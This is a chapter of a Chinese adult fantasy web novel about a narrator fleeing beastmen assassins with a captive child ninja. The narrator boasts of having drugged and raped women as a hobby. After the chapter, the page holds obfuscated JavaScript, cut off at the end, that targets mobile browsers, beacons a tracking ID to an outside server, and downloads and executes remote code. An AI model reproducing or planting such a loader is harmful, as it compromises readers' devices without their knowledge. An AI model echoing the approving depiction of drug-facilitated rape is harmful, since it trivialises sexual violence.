“……其实,提督你完全没有必要急躁啊,也许黑龙会的普通情报,对你没有吸引力,但至少有一件事,是你肯定感兴趣的。”

娜西莎丝的话,我只当作耳边风,反正刻意说来引我进圈套的东西,就算我不往下问,她也会自己把话说完。

“传闻法雷尔家的男人,每一个都是男人中的男人,只要是看到美貌女子,从来不会放过嘴边的肉。鬼魅夕身为七朵名花之一,艳名远播,提督大人总不会没兴趣吧?鬼魅夕是忍军头目,要取得她的相关资料,这些忍者是最好的人选了。”

这点倒是事实,我之前没有想过,这些忍者的脑袋里,肯定藏了鬼魅夕的相关资料。对于鬼魅夕,我有很多疑问,这个童颜巨乳的冷血杀手,每次出击绝不会空手而还,前后几次在我眼前狙杀强敌,最后甚至连黑龙王都死在她手里。

身为黑龙会的两大人形化身之一,鬼魅夕对黑龙会绝对忠心,但为何一个应该是绝对忠心的人,会出手狙杀掉她所效忠的黑龙王?这件事到现在都令人匪夷所思,除此之外,我与鬼魅夕有过一段追杀逃命的交手经验,她对我该是恨之入骨,但在东海幽灵船一役,若非她现身替我挡刀,我早就被武间异魔给一刀宰了,我实在无法理解,为何鬼魅夕会出来救我一命。

我对鬼魅夕有高度兴趣,不完全是为了色欲,有一半是想藉她来解答这些谜团,所以能够提供鬼魅夕相关情报的这个小男生,确实对我有用,可是,要实际用上这个情报,却得要付出很大的代价。

一方面,是因为这个小男孩很难搞,有时候我甚至怀疑自己抓到的不是人,而是一只披着人皮的小野狼,满身的野性,尽管已经被我们捆绑抓住,又没有了舌头,他却仍处在高度警戒状态,每次只要有人靠近,就发出野兽似的怒叫声,想要挣扎过来咬人。

我最恨有人吃我的饭,却反咬我一口,这个小男孩如今的伙食是我付钱,他却野性难驯,假如不是阿雪坚持要感化他,亲自担起了与他接触、餵食的工作,我早就在餐饮里头下毒,把这头披着人皮的小畜生给弄死算了。

一头会咬人的小野狼,虽然造成了一些困扰,却还不算大麻烦,真正要命的东西,则是尾随而来的不速之客。从我们抓到这小男孩,带着他一起上路后,我就发现有人在暗处监视着我们,而且数量越来越多。

行走旷野,会被各路山贼盗匪给监视,这是理所当然,我们不想节外生枝,就算发现有人在打我们的主意,也不会立刻发难,总希望别太过引人注目,但这次的情形却不同,隐藏在暗中的窥伺者尽管尚未露面,但从身上所散发的气息,我相信绝对不是普通的庸手,而是有相当实力的组织。

(气息很怪异,是哪路人马?为什么跟着我们?是为了娜西莎丝?还是这个小畜生?该不会是来杀人灭口的吧?)

羽霓在高空作着监视,但敌人相当高明,羽霓虽然发现了他们,却得不到太具体的情报,敌人很小心地隐藏了踪迹,偷偷窥视我们,相信他们也察觉到高空之上的羽霓。

准确地搜集情报、不躁进、不急着出手,像是毒蛛般小心翼翼,觑准敌人弱点,一击致命。这种高明手腕,不可能是普通的盗贼集团,若非是大地上赫赫有名的战斗集团,就是国家级的特务机关,以目前的情况看来,最有可能的两个答案是……

(是伊斯塔的刺客?还是黑龙会的残党?后者的话,就是为了这小子而来,难道他身上真有什么重要机密?)

我不用想太多,因为敌人会主动为我揭晓这个答案,在我们拎着俘虏上路的第二天下午,就开始碰到敌人袭击。

敌人的实力很差,虽然二十个人的小团队里,还拥有三名魔法师,但整体上的战力很差,几回合内就被霓虹给打败,如果不是手下留情,这群人肯定没半个人能生存。至于口供,不用问我也知道,肯定是收了人家重金,受雇袭击的佣兵队,这是国家级特务机关常用的招数,在正式出手之前,雇用些中等级数的佣兵队或杀手,借此扰敌与测试敌人实力。

类似的袭击发生了四五次,对于早就成了老江湖的我们,这种程度的扰敌攻击,并不能探查出什么,估计敌人很快就会采取实际行动。

这个预测一点都没错,不久之后,敌人的袭击就转为正式,开始伏击我们。

为了避过羽霓的侦查,他们刻意躲藏在地下,破土袭击,和羽虹、紫罗兰战在一起。

敌人的数目不多,全都是黑衣、黑头套,除了眼睛,就连一根头发都没有露出来,与黑龙忍军的装扮类似,但全都是体格雄健之辈,比我过去所看到的每一个黑龙忍者要魁梧,战斗技法上横冲直撞,也不同于忍者进退如风的诡秘风格。

最奇特的一点,就是这八个大汉的身体,如果不是内穿软甲,就一定是修练护身硬功的好手,在承受攻击时的防御力极其强悍,连受了羽虹几记兽王拳都形若无事,仅仅晃一下就没事,简直就是八座人肉堡垒。

阿雪没有动手,负责监视俘虏与娜西莎丝,但她也告诉我,敌人的身上有特殊能量流动,肯定有携带魔法道具在身,只是不清楚具体型态,要我提高警觉。

魔法道具?敌人隐藏了什么暗招作为后着?我想要提示羽虹,但敌人已经选择撤退,似乎是发现实际战斗讨不了好,没法冲破羽虹、紫罗兰的防线,所以在陷入泥沼战之前先撤退。

敌人的撤退手法,是扔阻断视线的烟雾弹,这倒很像黑龙忍军的手法,但想从我们眼前撤退,并不是那么容易的一件事,羽虹在烟雾弥漫之前,抢先动手袭击,敌人已然有备,为首的一名负责断后,和羽虹对击一掌,被震退数步,羽虹则是身躯微晃。

“别想走!”

羽虹的追击,被浓雾所阻断,那阵浓雾不但腥臭,而且可能蕴藏毒物,让羽虹难以追击下去,但羽霓却在此时于天空赶到,居高临下的一击,正好逮着一个敌人,只是出手太重,力道没控制好,一爪硬生生摧破了敌人的脑门,没能够留下活口。

“哎呀,别浪费,我们有专职的处理人员,喂,专业的,你上。”

就算人死了,我们也有专业人才可以处理,被我当成验尸官在用的娜西莎丝,似乎有点生气,不过她也想知道这批人的身份,所以没有拒绝,走向前头。

羽虹反应极快,先发现不对,伸手拦阻娜西莎丝,而那具尸体则是冒出一阵青烟,刹那间骨肉蚀化,连点细渣都没剩下,这或许就是他们身上魔法道具的用途了。

我皱起眉头,开始感到棘手。敌人有多少实力,那是另一回事,但是这种销毁尸体的手段与决心,如果不是专门培养出来的死士,就是怀有极大的悲愤而来,若是后者,这种敌人我一向能避就避,不要命的敌人总是很棘手。

这个担忧不幸言中,因为后几波的攻击,发现实力与我们有一段距离的敌人,开始采用近乎是自毁式的攻击,每次作战都抱定必死决心,哪怕不是羽霓、羽虹的对手,他们仍无所畏惧,在落败同时自爆,拼着粉身碎骨,为同伴争取胜利的可能。

结果,就因为这种惨烈的战术,我们开始付出比预期中重得多的代价。

◆第八章:百兽联军.撼山动地

和不怕死的敌人作战,一向都很棘手。悍不畏死,再加上人数优势,这样的战斗连续几天后,当羽霓、羽虹、阿雪先后负伤,我们不得不承认先前估计错误,开始改采更灵活的游击战术,避免被敌人拖着打消耗战。

这天傍晚,刚刚结束一场战斗的我们,来到了一处小村庄,在这边借宿。一如往例,这里的村人并不欢迎追迹者,尽管阿雪、霓虹出色的外貌,在他们当中引起骚动,但村人们还是拒绝我们入村,让我们在村外的茅草房中暂栖一晚。

对于这些平静度日的村人来说,总是与各种危险相伴的追迹者,只会替他们带来灾厄,最好离他们越远越好。这种待遇是常事,我们也早就习惯了,众人一起挤入茅草房后,在门口生了堆火,一面取出干粮进食,一面商讨策略。

一直狙击我们的那群神秘敌人,组织中似乎没有什么真正的高手,尽管如此,他们的整体素质却相当优秀,派出来袭击我们的每个成员,都堪称江湖好手,实力不容忽视。

我们见过的大风大浪不少,连最强者级数的敌人都战过,这点状况当然不放眼里,但在战斗过程中,我却发现一件奇事,那就是敌方对于人力资源毫不吝惜,特别是到了后来,简直是频繁使用牺牲战术,一个个黑衣人或是自爆、或是服毒后将自身变成毒人,把濒死之际最后几击的杀伤力疯狂提升。

培养出一个第五级的好手,正常需要十年时间。尽管算不上高手,但第五级的人才已不算杂鱼,不是随便死可以随便递补的,敌方竟然如此狠辣地拿这些好手牺牲,不是背后有国家级的资源,就是与我们有深仇大恨,人人不惜性命。

“可能攻击我们的国家级势力,有伊斯塔和黑龙会,两者都有可能。”

在白天的战斗中负伤,羽虹坐在火堆前,解开上衣,半露着一双雪嫩白皙的美乳,一面裹伤,一面说出她的想法。

“至于第二种可能,与我们有深仇大恨的对象,这个……”

唉,人在江湖真是一件悲惨的事,仇家多到数也数不清,名单一列就是一大张,如果把小队里每个成员的仇人都列出,名单恐怕要排到天边去。

我皱着眉头,恰好看见娜西莎丝朝这边看来,冷艳的容颜,绽放一丝揶揄笑意,望着频频看向羽虹胸口的我。

“连续多场战斗,敌人都没有使用魔法,提督你认为这代表什么呢?”

“代表敌人可能故布疑阵,让我们相信他们没有魔法师,这样即使你被干掉,他们也可以撇清与伊斯塔之间的关系。”

这样的回答,只是单纯斗嘴而已,其实连我都没有把握,敌人究竟与伊斯塔有没有关系。从风格来看,应该不是伊斯塔的刺客,但是以伊斯塔的情报能力,没理由到现在还不派刺客过来,到底答案是什么,很让人困惑。

不晓得敌人来历,在应付上就吃点小亏,好在这里的每个人都是身经百战之辈,还是根据经验,提出了各种策略,其中娜西莎丝也有所提案。

“提督你为何不取道阿里布达?途中会经过令尊的……”

“这件事多提一句,我们的合约立刻终止。”

斩钉截铁,我没有让娜西莎丝再把话说下去,从实际层面上看,娜西莎丝的提案百分百正确,但唯有这件事,我让情感牵着理智走。

从金雀花联邦前往伊斯塔的路上,如果取道阿里布达,途中会经过第三新东京都市,我那变态老爸的地盘。只要从那边走,就能得到变态老爸的庇护,利用第三新东京都市的力量来扫荡敌人,不过,我一点都不想借助他的力量。

这次慈航静殿所发生的惊天变局,变态老爸虽然没有现身幕前,却透过月樱、白起,影响着整个局面。心灯的阴谋功败垂成,净念禅会垮得那么快,里头也有他的一份力,毕竟昔日巴萨拉乐团的三个天体情若兄弟,他应该也不愿意看到心禅大师含冤而死,殉道殉得不明不白吧。

……算了,这根本是自欺欺人的假话,变态老爸有那么讲道义,他也就不是变态了。源堂法雷尔的个性,就像是捉摸不定的风,某些时候他会很热衷于一项事物,哪怕为之抛头颅、洒热血,也甘之如饴,可是当他不再关心,将这些东西抛诸脑后,哪怕是他的亲生老子,他恐怕都会忘记名字。

以这种情形来说,要指望变态老爸犹念旧日情谊,仗义出手,这种想法未免太过不切实际,他之所以来到金雀花联邦的理由,白起已经说得明白,就是为了设计我这个不成器的儿子。

说是设计,应该没有错,但最近只要空闲下来,我眼前就会浮现一幕画面。

那是大赛车的尾声,我被困在燃烧崩毁中的阿斯拉里头,即将被沸水煮熟,当时霓虹、阿雪、月樱都在,每个人都急着想救我出来,但却没有一个人使得上力,最后,一直在赛车场上戴红鼻子扮小丑的某人挺身而出,瞬间穿过十尺能源风暴,救我脱难。

凭着五大最强者的能耐,要闯能源风暴救人,只是件易如反掌的小事,不能代表什么,但真正令我难以忘怀的理由,却是他赤手握上那截早被烧红的安全闸,任手掌因高温灼伤而发出焦臭,浑若不觉地转动安全闸,开门救人。

变态老爸虽然情感上少根筋,但却还是有痛觉的血肉之躯,这点我敢保证。

手掌被那种高温灼伤一定很痛,连我这个只是在旁闻焦臭的人都有感觉,当事人的痛楚可想而知,即使我想告诉自己,这一切都不过是变态老爸在作戏,就像心剑神尼爱扮尼姑一样的变态游戏,可是在开门瞬间,我所接触到的那双眼神,里头所蕴含的关切与焦急,让我无法否认脑中的那个结论。

……源堂法雷尔,确实是很在意他的独子,对这唯一的儿子有着父爱。

一个人的理智不该被情感所左右,而我的理智导出了这个结论,如果我要否认它,说服自己变态老爸对儿子毫无感觉,只是想利用儿子,那就像是要说服自己变态老爸大仁大义一样荒唐。

然而,这种事叫我怎么承认得下去?况且这些事根本不合理,一点起码的道理也没有,如果他真的关心自己儿子,有着起码的人性,那我从小到大,成长过程中所遭遇的一切,这些要怎么解释?在我最需要他伸手扶助,前往第三新东京都市的时候,他残忍地把儿子拒绝、洗脑,这些又要怎么解释?

很难想像我会有这样的一天。处理别人情感问题,素来冷静犀利的我,居然也会有这么进退维谷的时候,虽然说,这些问题只要我亲闯第三新东京都市,向变态老爸当面质问,多半就能获得解答,但事到临头,我竟然胆怯起来,怎也做不出这个理所当然的决定。

这么多年都过去了,发现变态老爸其实很在意我,那又如何?难道要我从此以后和他父慈子孝吗?这么变态的事我可无法想像,横竖之前不慈不孝的日子我也都走过来了,现在也没有必要改变,过去如何,往后就如何吧。

三更半夜,众人都已陷入熟睡,除了在外担任守夜工作的紫罗兰,所有人横七竖八地睡倒,用睡眠来松懈白天紧绷的神经。

夜阑人静,淡淡的月光从窗口透射下来,将阿雪的肌肤照得像白玉一样,特别是一双粉腿,白色狐毛外的水嫩肌肤,耀眼得令人炫目;沿双腿而上,被子只是随便搭在她的小腹上,上身的丝衣经过大半夜辗转,已往上褪,露出一截超细的纤腰;胸口的扣子迸脱开来,高耸的雪白巨乳唿之欲出,贴着丝衣凸出两个火辣辣的小点,当真是一副性感诱人的海棠春睡图。

娇艳的美好景致,如果没有惜花人来偷香窃玉,那就未免浪费了,所以,在美丽小狐女的身前,正有一双男性的眼睛,来回审视着小狐女的丰满胴体。

没有别人阻止他的行为,因为除了他之外,房里所有人都处于深度睡眠中。

素来好睡的阿雪姑且不论,巡捕出身的霓虹一向警戒意识极高,很难得会睡得这么不省人事,之所以会出现这样的情形,是因为她们全都吸入了迷香。

放迷香让女性失去意识,然后施以淫辱,这是我早年的嗜好之一,近年来早已不干,改为明刀明枪硬上,享受女性婉转哀嚎之乐,虽然说偶尔重温旧梦也算乐事一件,不过今晚非常可惜,施放迷香的人并不是我。

整个团队里,除了我就应该没有第二个男人,可是,却还有一个小男生,而他白净秀气的外表,很容易让人忘记他的出身……一名黑龙忍军的下忍。

关于这一点,大家实在是该更小心一些的,这样至少在他咬破自己手腕,让鲜血滴落地面时,阿雪和霓虹就会有所发现,察觉到血液与尘土接触后,起了诡异的反应,化作无色迷香散布开来,把所有人都放倒。

男孩挣脱了绳索,默默站立,望着木板床上酣睡中的美丽狐女,好像打算做些什么,不过,最后他选择什么也不做,转头出门。

重获自由想必是很棒的滋味,男孩一离开茅屋,立刻发足急奔,速度奇快。

黑龙忍军的轻身法确实有独到之处,要不是因为身上有伤,他肯定会像一道轻烟似的,瞬息间融入黑夜中,消失不见。

不过,仅仅跑出屋外十尺,少年的脚步就停顿下来,讶异地看着数尺外的拦路者。

“忍术集水系魔法之大成,果然诡奇难防,普通的迷药应该放不倒那两姊妹,现在却连她们都倒下,你用的术很有一套啊。滴血成药,你平常到底吃些什么东西?把菜单默写出来,说不定今晚我可以放你一条生路啊。”

盘膝坐在一块大石上,我居高临下,望向那男孩,心里想着几日以来的辛苦终于有了收获。

黑龙忍军的诡变手段防不胜防,我打从一开始就不认为阿雪、霓虹能长时间看守住他,所以从数日之前便作出预备,等着此刻的到来,说实话,连续熬夜的感觉很糟糕,如果这小子再不中计,我就快要撑不住了。

男孩看了看我,又回头看了看茅屋的方向,眼神中在愤恨之余,更有一丝困惑。

“我知道你在想什么,被羽霓、羽虹抱在中间的那个,是我从海外重金采购回来的替身木偶,启动后,无论大小、外型、色泽,都与本人无异,变身时间长达两个时辰,价值五百金币。”

想到买这木偶时大把金币付出的肉痛,我原本得意的笑容变成狞笑,“至于我搞双飞以后,会睡得特别熟的这点,那是我在最近五百次性交里特别加的假动作,专门用来噱你这只小狐狸。”

男孩退了两步,秀气俊美的脸上,浮现某种决心,我把这表情看在眼里,冷笑道:“我让你逃跑,却在门外堵你,你猜这是为什么?嘿,猜对了,就是为了作掉你啊,你这小白脸又小又白,再让你待下去,我的存在就危险了。”

没有更多的废话,男孩朝我这边攻来,似乎已明白不打倒我就无法离开。因为炼成第四只地狱淫神的后遗症,我暂时用不出魔法,但不能用魔法并不表示我没杀伤力,光是我布在地上的那些魔法机关,就足够令他九死一生。

那些魔法机关俱是由内中晶石供给能量,不耗损施放者的魔法力,只会对施放者的荷包造成严重伤害,如果不是因为我现在的状况,我是绝对不愿意这样挥霍高价装备的。

不过,这男孩的身手比我预期中更好,好到让我怀疑他之前是否隐藏实力,以至于此刻身影如飞,连续闪过雷爆、烈火、猛毒、千风镰……七道魔法陷阱,笔直朝我这边冲来。

虽是赤手空拳,小男孩却不是没有武器。出手瞬间,他右手五指骨节突然拉长,指尖变形,锋锐得让人难以相信是血肉之躯,我毫不怀疑这只手掌可以轻易刺穿厚木板;当这念头闪过脑海,我几乎只是眼前一花,就看到男孩跃上大石,身影一分为三,分从三角方向攻来,三只邪异的右手,同时刺进我后颈、前胸、腹侧。

致命的重伤,却没有流半滴血出来,手掌像是刺入了麦芽糖堆,稍一回扯就被卷上千丝万缕,而当“我”的人形开始融化,变成大量黏浆,将男孩的大半边身体黏住,固定在大石上,我才从大石的伪装中拉开拉炼,现身出来,狞笑着望向被捕获的猎物。

“有一就有二,替身木偶有很多种。忍道精要,首在虚实不定,我的人虽然坐在这里,气息也从这里发出,但你看见的东西未必就是真,作为一个忍者,你判别虚实的能力有待加强,下辈子好好练练吧。”

说实在话,我讨厌这个小鬼,如果他像大多数忍者一样,眼神中没有情绪,又或是流露恐惧,那倒也罢了,可是明明已经死到临头,他的眼神还是倔强刚硬,一点都不向我求饶,好像我杀了他必会后悔一样。

杀了他我会后悔?

哼哼,真好笑,就算是杀掉我老爸,我也不会皱一下眉头,你算什么东西?

我举起刀,正要挥下,耳边突然听见一种很怪异的声音,仿佛阵阵闷雷连着响起,但声音却不是来自天上,而是不远处的某个地方,越来越近,越来越响,到后来,连地面都开始晃动。

诡异莫名的情况,我不禁停下动作,先看个究竟。往左右一看,赫然发现地上不知何时来了大群蛇只,蜿蜒爬动,朝着茅屋的方向而去。

蛇只袭击人,这不算稀奇,但这么一大群蛇,混杂了十几种不同的蛇类,朝同一目标前进,彼此之间没有冲突,这就绝不合理,肯定有人在背后操纵。

幸好,我事先布下的魔法机关,还有部分未曾被触动,现在便给一一引发,风火雷电轻易将蛇群来个大扫荡,让我松了口气,哪知道一头花豹、一头猛虎,这时分别从大石两侧跑过,后头更跟着十几只同类,也是向茅屋方向奔去。

茅屋里的人都还在昏睡,我赶着去救援,但才刚站起身,一只山猫从大石后方跃起,若非我急忙蹲下闪躲,就要被这山猫给扑倒,可是闪躲之间失了重心,滑倒趴在大石上,刚想要站起,这才发现事情是何等不妙。

大石上……早已沾满了魔法黏胶,把那个小子黏得死死,而我这一扑倒下去,真个是作法自毙,大半个身体也黏在石上,恰好便与那小子的脸近距离对看。

说句良心话,这小子的脸蛋白皙秀气,又因为年纪还小,看来很有几分女儿家的秀美,堪称赏心悦目,将来不当忍者,大可以去演戏当明星,与他近距离眼瞪眼,不算一件难以忍受的事。可惜,被一双愤恨的眼睛盯着,没有人愉快得起来,而且更重要的一点是,我没兴趣和一个男的脸贴脸,闻彼此的唿吸啊。

“妈的,呜……”

想挣扎,但这时才后悔为何黏胶这么黏,挣扎几下没挣脱,反而被越缠越紧,更糟糕的是,在虎、豹、蛇、山猫……之后,竟然连猩猩、犀牛、斑马,这些不应该存在于附近的野兽都成群结队出来,活像一支百兽联军,从大石两侧冲过,对岩石上的我们不屑一顾,只往小屋方向冲锋,肯定受人操控。

这颗所谓的大石,其实只有外表是岩层,内里完全空心,可以藏人,整体重量很轻,经过魔法处理后,甚至说得上易于携带。现在左右两侧百兽奔腾,搞到地面摇晃,这颗伪大石也剧烈震动,好像随时都会往外滚,我虽然极力稳住平衡,但是当三头大象从左侧赶投胎似的冲过,大石表层被象腿一脚踢破,更朝右侧山坡滚去,而被黏在表面上的两个倒楣鬼,就身不由主地一路跟着滚出去。

普通的情况,我会很担心自己在滚动途中被大石压死,但这大石既然是没重量的大空壳,这便不是问题,反倒是另一个不致命的危机,吓得我魂飞魄散。

两张脸贴得太近,身体又是在快速的滚动当中,直接导致的后果,就是两张脸碰过来又碰过去。脸碰脸顶多碰红了脸,可是因此导致的嘴碰嘴,那就是个叫做“接吻”的专有名词。

妈的,我居然在和男人接吻,还一吻就连吻了几十下,滚动摔坠的力道之猛烈,想停都停不住,两张面孔频繁碰撞,如果不是其中一方被割了舌头,恐怕连舌头都卷缠在一起了。

和这个冲击相比,我背后与身上在滚动中造成的大小伤口,就显得微不足道了。最后,滚动之势稍停,我和那小子连同只剩一半的大石,被山坡上的半截枯树给挡住,没有继续滚下去、没有继续恶心接吻,只是用奇怪的目光看着对方。

男孩没法开口说话,我虽然可以讲话,但一开口可能会吐出来。两个人虽然大半身体被黏住,不过也都还有一手一脚能活动,这时下意识的第一反应,就是伸腿踹向对方。

干……人实在应该克制自己的本能反应。

当彼此的身上都是黏胶,伸腿踢向对方的结果,就是两个人的腿都被黏住,还连带造成枯树干断裂,两个人又再次往下滚去,滚得七荤八素,身体陡然腾空,竟是从一个山崖边笔直摔落。

“啊啊啊啊啊啊啊啊”

这种场面不是第一次,世上哪个追迹者不曾坠崖过?但现在身体动弹不得,什么腾挪、护头的防冲击技巧,全部使不出来,连转头看确切高度都不能,这么一摔,耳畔风声急响,险些把我心脏从嘴巴吓出来。

幸好,下坠的时间不长,估计只摔了二十多尺便着地,但二十多尺的高度,也足以摔得人骨折筋断,我落地的时候,虽然感到剧痛,耳边也听见巨响,可是身下的感觉很柔软,并非实地,好像有什么东西垫在下头,而且还是毛皮之类的软物。

(怎么回事?我压到了什么?)

从四周的吵杂声音听来,我好像被一大群人给围在中间,这有点奇怪,因为荒山野岭,怎会突然跑出一大票人,而当视力慢慢回复,我发现自己是压在某个人的身体上,那个人身下则是一张祭坛,好像正在施行什么术法,却被我们这两个不速之客给打断。

“仆、仆街,祭师他被砸死了!”

“侯塞雷啊,怎么会突然有两个人类从天而降的?”

“祭师死了,千兽奔的咒法不就被破了吗?我们要不要立刻发动攻击?杀掉伊斯塔的妖女!”

我脖子不能转动,只能看见那男孩身后的东西,发现围在周遭的人们,穿着打扮,赫然就是这些天攻击我们的神秘敌人,而他们的谈话中也证实,他们的攻击目标正是娜西莎丝。

(果然是娜西莎丝的对头,他们是伊斯塔人?不像啊……)

伊斯塔的黑魔法虽是阴毒邪异,但没听说有驱使百兽的咒法,更何况这些人的语气,其实更像是……

脑里闪过一个念头,我吃了一惊,更突然发现被我们压死的那个祭师,身上赫然长着浓密的兽毛,并非人类。

南蛮的兽人!

兽人族素来不踏入人类世界,为什么会成群结队来到金雀花联邦境内,还要狙击娜西莎丝,这点委实令人费解,我满腹疑惑,却突然听见旁边有声惊唿。

“是……是约翰·法雷尔!”

这声唿叫后,周围安静了一下,没过多久,大概是因为真面目已被我看见,无须隐藏,这些用特殊魔法道具变身人形的兽人们,纷纷解除伪装,回复兽头人身的本来面目。

“真是天助我也,他自己送上门来,弟兄们,把他们给分尸了!替白澜熊报仇!”

兽人们最后的那句话令我大惊失色,白澜熊怎么了?自从离开南蛮后,我不曾和他有过联络,为何兽人们要替他复仇?他遭遇不测了吗?

脑里一片乱,而我现在身体被黏住,只剩一只手能动,七八个兽人一次冲上来,我根本无法抵挡,幸好,这次我身边有个难友,而这险境把他暗藏的后着给逼了出来。

身体的状况与我一样,但男孩可以动的部分,除了一只手,还有嘴巴。也不知他是怎么做到,就看他突然一张口,一片小指甲似的轻薄物体,像是给机弩弹射般飙飞出去,正中我身后的一名兽人,跟着便是一声震耳爆响。从爆音之响、热浪之强,这一炸大概挂掉了三个兽人,实在是很厉害的救命后着。

男孩的手,并不会比我粗,甚至比我细得多,可是当他挥起手臂的瞬间,外侧肌肉陡然撕裂,鲜血飞溅中,弹出了一截小巧、怪异,却无比锋锐的骨刃,随着手臂挥舞,将一只抓向他的兽人熊爪整个切砍下来。

兽人的惨叫声连接响起,虽然他们占了极大优势,可是男孩臂上的那截骨刃,锋利无伦,当者立断,加上他很有技巧地以一种小圈、小圆的方式运刀,尽管舞动的空间不大,锋锐刃圈却护住要害,令兽人们一时间攻不进来,几轮攻击过后,徒留下五只染血兽爪,竟还闹了个损兵折将。

我目瞪口呆,真正见识到黑龙忍军的诡奇多变,刚才要是他把这些东西用在我身上,我未必还有命在。更让人胆颤心惊的一点是,这些忍者好像全身都是武器,看似技穷,但谁知道他还藏了多少后着?

“没用的废柴,全给我滚开。”

似乎见不得兽人的丑态,领导人物出声了,是一名豹族的兽人,我曾见过,好像叫奇里斯,记得是豹族的领袖、白澜熊的好兄弟,望向我的眼神中没有半点友好,仿佛见到杀父仇人一样咬牙切齿。

“不要和他打近身战,一人捧一块石头,远远砸死他们两个。”

奇里斯在兽族中算是比较有智谋的年轻首领,这一着命中了我们的要害,当兽人们从四面八方捧起大石,我心里也呻吟起来,除非这小子还有更厉害的救命后着,否则我们两个人十秒后就会是一滩烂泥,而且你泥中有我,我泥中有你,异常恶心的烂泥。

“报告!虎兹族主中了敌人的陷阱,整团人快要全军覆没,现在情势危急,雅兰迦参谋请您立刻去支援!”

最要命的时刻,一个虎族的传令兵把救命讯息送到,虽然里头有些讯息令我惊疑不定,可是它还是产生了作用,令奇里斯舍却到嘴的肉,极度愤恨地舍敌而走,赶去救援结义兄弟的性命。

周围一下子安静了下来,我心念急转,构思脱身良策,没过多久,耳边听见一声轻笑,一个邪艳的女性身影出现在我面前。

“你……你不是中了迷……”

“哈哈,替身傀儡只有你能用吗?出得起重金的,不是只有你一个,我们伊斯塔很有钱啊,而且……”

娜西莎丝一步一步朝我走来,揶揄道:“你的资讯太落后了,你那具替身傀儡是去年东海商会过时的产品,而我这具……是上个月西海商会的最新产品,价值三千金币。”

嘿,资讯落后不是我的错,我又没有国家级数的情报单位在背后搜集情资,难道这也要怪我吗?

“这里好像没有其他人,真是个逼供、签契约的安静好地方……”

娜西莎丝笑得很艳、很媚,但却让人有种毛骨悚然的恐惧,虽然我们现在处于一条船上,但当她来到我身边,我一点都没有得救的感觉。

一只温莹的玉手,无声地放到了我脑门上,轻轻地抚摸着。

“提督,如果我在这里把我干掉,再赖给那些兽人,你猜你那几个红颜知己,她们会不会发现是我干的?”

【第18集完】


上一篇:兼差女郎

下一篇:金轮法王


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var 